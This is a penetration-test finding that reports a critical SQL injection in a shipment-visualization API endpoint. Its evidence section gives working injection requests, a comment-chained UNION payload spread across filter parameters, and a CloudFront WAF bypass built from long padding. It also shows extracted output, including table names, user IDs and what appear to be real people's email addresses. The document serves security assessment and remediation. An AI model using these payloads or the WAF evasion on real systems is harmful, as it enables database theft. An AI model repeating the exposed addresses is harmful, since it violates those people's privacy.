5.1.3 SQL Injection in POST /vision/api/visualization

Overall Risk Rating	Critical
IP Address / URL	POST /vision/api/visualization
Description	An SQL injection was identified in the endpoint through multiple parameters in the filter object, which can be existing parameters or dummy parameters. ● Any Valid Filter Parameter ● Injected Parameters SQL injection is a vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It may allow an attacker to view unauthorized information. In some instances, it may allow an attacker to modify or delete information. Defense in depth is a security principle that requires multiple layers of protection. While middleware currently provides partial mitigation against exploitation of this SQL injection, the vulnerability exists at the application level and should be remediated. Relying solely on middleware is not a security best practice, as: ● Middleware can be bypassed with novel techniques ● Configuration changes can disable protections ● The underlying code remains vulnerable ● This violates secure development standards
Impact	The impact is **critical**. Allows extraction of database contents and potential host compromise.
Likelihood	The likelihood is **critical**. Can be performed by any internet-based attacker with a registered account. Additionally, the disclosure of database error messages facilitates exploitation.

Exploitation	This issue was successfully exploited during the assessment, please see the evidence section for further details.
Remediation	The most effective way to prevent SQL injection is to use parameterized queries (also known as prepared statements) for all database access.
References	CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Evidence:

Consider the request where a single quote probe is injected. As we can see an SQL error is generated.

REQUEST


```
{
  "accountNumbers":[
  ],
  "deliveryDateEnd":"",
  "deliveryDateStart":"",
  "filters":{
    "packagestatuscode":"ATT'"
  },
  "pins":[
  ],
  "shipmentDateEnd":"2026-02-09",
  "shipmentDateStart":"2026-02-02",
  "impersonating":"",
  "groupKey":"packagestatussubcode",
  "lineOfBusinessIds":[
  ]
}
```


RESPONSE


```
{
  "message":
  "Unterminated string literal started at position 169 in SQL SELECT packagestatussubcode
  , COUNT(*) FROM \"vision\".\"shipment_fact\" sf  WHERE 1=1 AND shipmentcreated BETWEEN
  '2026-02-02' AND '2026-02-09' AND packagestatuscode = 'ATT'' GROUP BY packagestatussubc
  ode;. Expected  char"
}
```

Consider the below request with an injected parameter named ‘FALSE’ and value.

REQUEST


```
{
	"accountNumbers":[
	],
	"deliveryDateEnd":"",
	"deliveryDateStart":"",
	"filters":{
		"packagestatuscode":"ATT",
		"FALSE":"Test'"
	},
	"pins":[
	],
	"shipmentDateEnd":"2026-02-09",
	"shipmentDateStart":"2026-02-02",
	"impersonating":"",
	"groupKey":"packagestatussubcode",
	"lineOfBusinessIds":[
	]
}
```


RESPONSE


```
{
	"message":
	"Unterminated string literal started at position 188 in SQL SELECT
	 packagestatussubcode, COUNT(*) FROM \"vision\".\"shipment_fact\"
	sf  WHERE 1=1 AND shipmentcreated BETWEEN '2026-02-02' AND '2026-0
	2-09' AND packagestatuscode = 'ATT' AND FALSE = 'Test'' GROUP BY p
	ackagestatussubcode;. Expected  char"
}
```


With further testing we identified that parameter lengths were limited to approximately 20 characters, certain characters restricted, a GROUP BY was required and each parameter was joined with an AND in the final query.

Further a cloudfront WAF evasion was required.

This created some unique exploitations challenges which we were able to overcome through a chained stack query using comments to join the individual elements.

For instance the following allowed extraction of all tables within the database.

```
"filters":{
      "note": "' GROUP BY 1 UNION/*",
      "packagestatuscode": "*/SELECT tablename/*",
      "packagestatussub" :     "*/,1 FROM /*"   ,
      "productcode": "*/pg_tables--"

},
```

Cloudfront evasion was achieved by padding approximately 16K of 'A's at the beginning of the POST body.

REQUEST

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"accountNumbers":[
],
"deliveryDateEnd":"",
"deliveryDateStart":"",
"filters":{
     "note":"' GROUP BY 1 UNION/*",
     "packagestatuscode":"*/SELECT tablename/*",
     "packagestatussub":"*/,1 FROM /*",
     "productcode":"*/pg_tables--"

},
"pins":[
],
"shipmentDateEnd":"2026-02-09",
"shipmentDateStart":"2026-02-09",
```

RESPONSE


```
[{"key":"pg_ts_dict","value":1},{"key":"notificationfrequency","value":1
},{"key":"packagestatussubcodeen","value":1},{"key":"pg_language",
"value":1},{"key":"packagestatussubcodefr","value":1},{"key":
"usernotification","value":1},{"key":"deliverylocationfr","value":1},{
"key":"pg_ts_config_map","value":1},{"key":"shipment_fact_historical",
"value":1},{"key":"deliverylocationen","value":1},{"key":"pg_opfamily",
"value":1},{"key":"pg_class","value":1},{"key":"user_column_names",
"value":1},{"key":"pg_transform","value":1},{"key":"pg_namespace",
"value":1},{"key":"pg_rewrite","value":1},{"key":"sql_parts","value":1},
{"key":"pg_depend","value":1},{"key":"pg_type","value":1},{"key":
"pg_policy","value":1},{"key":"pg_default_acl","value":1},{"key":"pg_am"
,"value":1},{"key":"pg_attrdef","value":1},{"key":
"shipment_fact_processed","value":1},{"key":"producten","value":1},{
"key":"pg_authid","value":1},{"key":"pg_range","value":1},{"key":
"pg_replication_origin","value":1},{"key":"pg_extension","value":1},{
"key":"pg_index","value":1},{"key":"shipmentstatusen","value":1},{"key":
"shipment_fact_backup_2025_12_04","value":1},{"key":"pg_attribute",
"value":1},{"key":"pg_collation","value":1},{"key":"lineofbusinessfr",
"value":1},{"key":"watchlistpackage","value":1},{"key":"pg_proc","value"
:1},{"key":"pg_foreign_table","value":1},{"key":"pg_statistic","value":1
},{"key":"pg_tablespace","value":1},{"key":"pg_statistic_ext_data",
"value":1},{"key":"sql_implementation_info","value":1},{"key":
```


Consider the below which allows dumping emails from the watchlist table.

REQUEST


```
"accountNumbers":[
],
"deliveryDateEnd":"",
"deliveryDateStart":"",
"filters":{
     "note":"' GROUP BY 1 UNION/*",
     "packagestatuscode":"*/SELECT email/*",
     "packagestatussub":"*/,1 FROM vision/*",
     "productcode":"*/.watchlist--"

},
```

RESPONSE


```
[
    {
        "key":"dileep.madhamanchi@coforge.com",
        "value":1
    },
    {
        "key":"xofini2237@givehit.com",
        "value":1
    },
    {
        "key":"Shylesh.Nayar@Purolator.com",
        "value":1
    },
    {
        "key":"rrameshwar@Purolator.com",
        "value":1
    },
    {
        "key":"mohamed.sultan1581@gmail.com",
        "value":1
    },
    {
        "key":"brian.yuan1@purolator.com",
        "value":1
```


Similarly this can be performed for userids as well from the watchlist table.

REQUEST


```
"accountNumbers":[
],
"deliveryDateEnd":"",
"deliveryDateStart":"",
"filters":{
    "note":"' GROUP BY 1 UNION/*",
    "packagestatuscode":"*/SELECT userid/*",
    "packagestatussub":"*/,1 FROM vision/*",
    "productcode":"*/.watchlist--"

},
```

RESPONSE


```
[
	{
		"key":"00upw81hjc7GsXEzS1d7",
		"value":1
	},
	{
		"key":"00ugl17d8stDOwrY61d7",
		"value":1
	},
	{
		"key":"00uq6qxlq2KuKqOHW1d7",
		"value":1
	},
	{
		"key":"00ulwgupddXIghOG81d7",
		"value":1
	},
	{
		"key":"00urh8k3l1n3nnz651d7",
		"value":1
	},
	{
		"key":"00uukn56beRil6JIx1d7",
		"value":1
```


Or userids from the userpreferences table as well.

REQUEST

```
    "accountNumbers":[
    ],
    "deliveryDateEnd":"",
    "deliveryDateStart":"",
    "filters":{
         "note":"' GROUP BY 1 UNION/*",
         "packagestatuscode":"*/SELECT userid/*",
         "packagestatussub":"*/,1 FROM vision/*",
         "productcode":"*/.userpreferences/*",
         "AAAAAAA":"*/--"

    },
```


RESPONSE


```
[
    {
         "key":"00u8j16jyw1z4l58N1d7",
         "value":1
    },
    {
         "key":"00upw81hjc7GsXEzS1d7",
         "value":1
    },
    {
         "key":"00uglwfaalz1Cx5331d7",
         "value":1
    },
    {
         "key":"00ufmrgjh8swCI8zD1d7",
         "value":1
    },
    {
         "key":"00uc46f8ca4m7PIXA1d7",
         "value":1
    },
    {
         "key":"00u9ymqrptlTX3CEy1d7",
         "value":1
    },
```